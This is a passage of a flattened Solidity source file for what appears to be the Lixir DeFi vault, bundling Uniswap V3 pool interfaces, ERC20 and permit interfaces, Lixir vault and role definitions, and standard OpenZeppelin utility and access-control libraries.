amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolEvents.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // File @uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol@v1.0.0 pragma solidity >=0.5.0; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // File contracts/interfaces/IERC20Permit.sol pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v3.4.1-solc-0.7-2 pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/interfaces/ILixirVaultToken.sol pragma solidity ^0.7.0; interface ILixirVaultToken is IERC20, IERC20Permit {} // File contracts/interfaces/ILixirVault.sol pragma solidity ^0.7.6; interface ILixirVault is ILixirVaultToken { function initialize( string memory name, string memory symbol, address _token0, address _token1, address _strategist, address _keeper, address _strategy ) external; function token0() external view returns (IERC20); function token1() external view returns (IERC20); function activeFee() external view returns (uint24); function activePool() external view returns (IUniswapV3Pool); function performanceFee() external view returns (uint24); function strategist() external view returns (address); function strategy() external view returns (address); function keeper() external view returns (address); function setKeeper(address _keeper) external; function setStrategist(address _strategist) external; function setStrategy(address _strategy) external; function setPerformanceFee(uint24 newFee) external; function mainPosition() external view returns (int24 tickLower, int24 tickUpper); function rangePosition() external view returns (int24 tickLower, int24 tickUpper); function rebalance( int24 mainTickLower, int24 mainTickUpper, int24 rangeTickLower0, int24 rangeTickUpper0, int24 rangeTickLower1, int24 rangeTickUpper1, uint24 fee ) external; function withdraw( uint256 shares, uint256 amount0Min, uint256 amount1Min, address receiver, uint256 deadline ) external returns (uint256 amount0Out, uint256 amount1Out); function withdrawFrom( address withdrawer, uint256 shares, uint256 amount0Min, uint256 amount1Min, address recipient, uint256 deadline ) external returns (uint256 amount0Out, uint256 amount1Out); function deposit( uint256 amount0Desired, uint256 amount1Desired, uint256 amount0Min, uint256 amount1Min, address recipient, uint256 deadline ) external returns ( uint256 shares, uint256 amount0, uint256 amount1 ); function calculateTotals() external view returns ( uint256 total0, uint256 total1, uint128 mL, uint128 rL ); function calculateTotalsFromTick(int24 virtualTick) external view returns ( uint256 total0, uint256 total1, uint128 mL, uint128 rL ); } // File contracts/interfaces/ILixirStrategy.sol pragma solidity ^0.7.6; interface ILixirStrategy { function initializeVault(ILixirVault _vault, bytes memory data) external; } // File contracts/libraries/LixirRoles.sol pragma solidity ^0.7.6; library LixirRoles { bytes32 constant gov_role = keccak256('v1_gov_role'); bytes32 constant delegate_role = keccak256('v1_delegate_role'); bytes32 constant vault_role = keccak256('v1_vault_role'); bytes32 constant strategist_role = keccak256('v1_strategist_role'); bytes32 constant pauser_role = keccak256('v1_pauser_role'); bytes32 constant keeper_role = keccak256('v1_keeper_role'); bytes32 constant deployer_role = keccak256('v1_deployer_role'); bytes32 constant strategy_role = keccak256('v1_strategy_role'); bytes32 constant vault_implementation_role = keccak256('v1_vault_implementation_role'); bytes32 constant eth_vault_implementation_role = keccak256('v1_eth_vault_implementation_role'); bytes32 constant factory_role = keccak256('v1_factory_role'); bytes32 constant fee_setter_role = keccak256('fee_setter_role'); } // File @openzeppelin/contracts/math/Math.sol@v3.4.1-solc-0.7-2 pragma solidity ^0.7.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File @openzeppelin/contracts/utils/EnumerableSet.sol@v3.4.1-solc-0.7-2 pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/Address.sol@v3.4.1-solc-0.7-2 pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v3.4.1-solc-0.7-2 pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/AccessControl.sol@v3.4.1-solc-0.7-2 pragma solidity ^0.7.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can 